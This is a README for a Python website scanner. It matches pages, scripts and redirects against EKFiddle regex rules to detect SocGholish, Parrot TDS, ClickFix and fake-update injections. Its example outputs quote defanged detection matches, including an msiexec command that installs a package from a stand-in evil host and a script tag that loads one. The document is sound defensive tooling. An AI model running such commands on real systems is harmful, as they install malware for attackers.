EKFiddle Threat Scanner

What It Does

Scans websites and all their resources, scripts, iframes, CSS, including redirects against EKFiddle regex rules. Just like Fiddler, it catches SocGholish, Parrot TDS, ClickFix payloads, fake browser updates etc.

How It Works

The scanner downloads to memory the target URL HTML/JS code, follows all redirects capturing content at each hop, then extracts and downloads all referenced resources, external JS files, iframes, CSS, inline scripts, and base64 data URIs. Everything is held in memory only, no files written to disk, and scanned against the regex rules. It also decodes obfuscated JavaScript, hex, unicode, base64, string concatenation before scanning to catch evasion attempts.

Requirements

• Python 3.7+
• requests library (auto-installed if missing)

Installation

Place the script and rules file in the same directory:

ekfiddle_scanner.py
CustomRegexes.txt (or Regex_Rules.txt)

Rules file is auto-detected. Use -r to specify a different file.

CLI Usage

# Scan a domain
python ekfiddle_scanner.py -d example.com

# Scan a full URL
python ekfiddle_scanner.py -d "https://suspicious-site.com/page?id=123"

# Scan list of URLs from file
python ekfiddle_scanner.py -l targets.txt -o results.txt

# Fast scan (skip external resources)
python ekfiddle_scanner.py -d example.com --no-resources

# High severity only
python ekfiddle_scanner.py -d example.com --severity high

# Extract IOCs and payloads
python ekfiddle_scanner.py -d example.com --extract-iocs --extract-payloads

# Generate HTML report
python ekfiddle_scanner.py -d example.com --report scan_report.html

# Domain enrichment (WHOIS, DNS, cert)
python ekfiddle_scanner.py -d example.com --enrich

# JSON output for automation
python ekfiddle_scanner.py -d example.com --json --quiet

Autoscan Mode

Batch scan a list of targets and output clean results to a file:

# Basic autoscan (outputs target + rules only)
python ekfiddle_scanner.py --autoscan/-a targets.txt

# With custom output file
python ekfiddle_scanner.py -a targets.txt -o my_results.txt

# Simple scan without external resources
python ekfiddle_scanner.py -a targets.txt --no-resources

# Combined
python ekfiddle_scanner.py -a targets.txt --no-resources -o quick_scan.txt

# Verbose autoscan (includes matched content snippets)
python ekfiddle_scanner.py --autoscan targets.txt -v

# With options
python ekfiddle_scanner.py --autoscan targets.txt --no-resources --severity high

Input file format: newline or comma delimited list of domains, URLs, or IPs. Lines starting with # are ignored.

Output is written to {inputfile}_results.txt in the current directory.

Autoscan Output (Default)

================================================================================
AUTOSCAN RESULTS
Input: targets.txt
Scan Date: 2026-01-02 13:11:43
Scanned: 25 | Detections: 8 | Clean: 17
================================================================================

example-malware[.]com
  [HIGH] Parrot TDS (ZQXW)
  [HIGH] ClickFix MSIEXEC Payload
  [MED] Suspicious Clipboard Access

infected-site[.]net
  [HIGH] SocGholish Injection

================================================================================
End of scan - 8 target(s) with detections
================================================================================

Autoscan Output (Verbose with -v)

================================================================================
AUTOSCAN RESULTS (VERBOSE)
Input: targets.txt
Scan Date: 2026-01-02 13:11:55
Scanned: 25 | Detections: 8 | Clean: 17
================================================================================

example-malware[.]com
  [HIGH] Parrot TDS (ZQXW)
         Match: typeof zqxw === "undefined"
  [HIGH] ClickFix MSIEXEC Payload
         Match: msiexec /i hxxps://evil[.]com/update[.]msi

infected-site[.]net
  [HIGH] SocGholish Injection
         Match: <script src="hxxps://cdn[.]evil[.]com/inject[.]js">

================================================================================
End of scan - 8 target(s) with detections
================================================================================

Only targets with detections are listed. Clean targets are counted in the summary but not shown.

Command Line Options

Option	Description
-d, --domain	Single domain or URL to analyze
-l, --list	Text file with list of URLs (one per line)
--autoscan FILE	Batch scan targets, output clean results to FILE_results.txt
-r, --rules	Path to EKFiddle rules file
-o, --output	Output file for results
--severity	Filter: high, med, low, or all (default: all)
--types	Filter: sourcecode, uri, headers, ip, hash
--no-resources	Skip fetching external resources (faster)
--resource-timeout	Timeout per resource in seconds (default: 10)
-t, --timeout	Request timeout in seconds (default: 30)
--extract-iocs	Extract IPs, domains, URLs, emails, crypto addresses
--extract-payloads	Extract PowerShell, MSIEXEC, MSHTA commands
--ioc-export FILE	Export IOCs to .csv, .json, or .stix.json
--json	Output results in JSON format
--report FILE	Generate report (.md, .html, or .json)
--enrich	Add WHOIS, DNS, and certificate info
--proxy URL	Use HTTP/SOCKS proxy
-q, --quiet	Quiet mode - only output detections
-v, --verbose	Verbose output
--no-defang	Show raw URLs (not defanged)

CLI Output Example

======================================================================
THREAT DETECTION RESULTS
======================================================================

Source: hxxps://example[.]com

Redirect Chain:
  1. hxxps://example[.]com/ -> 301
  2. hxxps://example[.]com -> 200

External Resources Loaded: 12
  - hxxps://cdn[.]example[.]com/script[.]js (script)
  - hxxps://example[.]com/styles[.]css (css)

**********************************************************************
*                    !! DETECTIONS FOUND !!                        *
**********************************************************************

[MAIN PAGE] hxxps://example[.]com

  [HIGH] Parrot TDS (ZQXW)
    Type: SourceCode
    Matches:
      - typeof zqxw === "undefined"

[SCRIPT] hxxps://cdn[.]example[.]com/payload[.]js

  [HIGH] ClickFix powershell msiexec
    Type: SourceCode
    Matches:
      - msiexec /i hxxps://evil[.]com/malware[.]msi

----------------------------------------------------------------------
Summary: 2 rule(s) triggered across 2 resource(s)
  HIGH: 2 | MED: 0 | LOW: 0
======================================================================

API Server Mode

Start the API server:

python ekfiddle_scanner.py --server
python ekfiddle_scanner.py --server --port 5000
python ekfiddle_scanner.py --server --port 5000 --api-key mysecret

API Endpoints

Method	Endpoint	Description
GET	/health	Server status and rule count
GET	/rules	List detection rules summary
GET	/scan?url=...	Quick scan via URL parameter
POST	/scan	Full scan with options

Quick Scan

curl "http://localhost:8080/scan?url=example.com"

POST with Options

curl -X POST http://localhost:8080/scan \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://example.com",
    "fetch_resources": true,
    "extract_iocs": true,
    "extract_payloads": true,
    "timeout": 30
  }'

With API Key

curl -H "X-API-Key: mysecret" "http://localhost:8080/scan?url=example.com"

API Response Explained

When you scan a URL, the API returns a JSON response with structured threat intelligence:

{
  "success": true,
  "scanned_at": "2025-12-29T10:30:00Z",

  "target": {
    "input": "malicious-site.com",
    "final_url": "hxxps://malicious-site[.]com/landing",
    "redirects": 2
  },

  "result": {
    "is_malicious": true,
    "threat_level": "HIGH",
    "detection_count": 3,
    "high": 2,
    "med": 1,
    "low": 0
  },

  "detections": {
    "high": [
      {
        "rule_name": "Parrot TDS (ZQXW)",
        "matched_content": "typeof zqxw === \"undefined\"",
        "rule_type": "SourceCode",
        "found_in": "hxxps://malicious-site[.]com/landing",
        "content_type": "main_page"
      },
      {
        "rule_name": "ClickFix MSIEXEC Payload",
        "matched_content": "msiexec /i hxxps://evil[.]com/update[.]msi",
        "rule_type": "SourceCode",
        "found_in": "hxxps://cdn[.]malicious-site[.]com/loader[.]js",
        "content_type": "script"
      }
    ],
    "med": [
      {
        "rule_name": "Suspicious Clipboard Access",
        "matched_content": "navigator.clipboard.writeText",
        "rule_type": "SourceCode",
        "found_in": "hxxps://malicious-site[.]com/landing#inline_script_1",
        "content_type": "inline_script"
      }
    ],
    "low": []
  },

  "resources": {
    "scanned": 15,
    "external_fetched": 12,
    "failed": 1
  },

  "redirect_chain": [
    { "url": "hxxps://malicious-site[.]com", "status": 301 },
    { "url": "hxxps://malicious-site[.]com/gate", "status": 302 },
    { "url": "hxxps://malicious-site[.]com/landing", "status": 200 }
  ],

  "timing": {
    "total_ms": 3450,
    "fetch_ms": 1200,
    "resources_ms": 1800,
    "scan_ms": 450
  }
}

Response breakdown:

target - What was scanned:

• input - The URL you submitted
• final_url - Where you ended up after redirects (defanged)
• redirects - Number of redirects followed

result - Quick verdict:

• is_malicious - TRUE if any HIGH or MED severity rules matched
• threat_level - Overall assessment: CLEAN, LOW, MEDIUM, or HIGH
• detection_count - Total number of rules that matched
• high/med/low - Count by severity level

detections - The actual findings, grouped by severity:

• rule_name - Which EKFiddle rule triggered (most important field)
• matched_content - The exact content that matched (what to look for)
• rule_type - SourceCode, URI, or Headers
• found_in - Which URL contained the match
• content_type - Where in the page: main_page, script, inline_script, redirect, css, iframe

resources - What was analyzed:

• scanned - Total content items scanned
• external_fetched - External JS/CSS/iframes downloaded
• failed - Resources that failed to load

redirect_chain - Full path the request took (useful for TDS analysis)

timing - Performance breakdown in milliseconds

Error Response

{
  "success": false,
  "error": "Fetch failed: Connection timeout",
  "target": {
    "input": "unreachable-site.com"
  }
}

Resources Scanned

The scanner fetches and analyzes:

• Main page HTML content
• All redirect chain pages
• External JavaScript files
• Iframe content
• External CSS stylesheets
• Inline scripts and styles
• Base64-encoded data URIs
• CSS @import references

Features:

• Progress indicator for resource fetching
• Timeout protection (default 10s per resource)
• Failed resources tracked and reported
• Safe mode: text content only, no JS execution
• Maximum 50 resources per scan

Performance Tips

• Use --no-resources for quick main-page-only scans
• Use --severity high to focus on high-confidence detections
• Use --resource-timeout 5 to speed up resource fetching
• Use --types sourcecode to skip URI/Headers checks

Troubleshooting

Cannot fetch URL:

• Check network connectivity
• Try --timeout 60 for slow sites
• Some sites block automated requests

No rules loaded:

• Verify rules file path with -r
• Ensure file uses tab separators

Too many false positives:

• Use --severity high to filter
• Comment out noisy rules with # prefix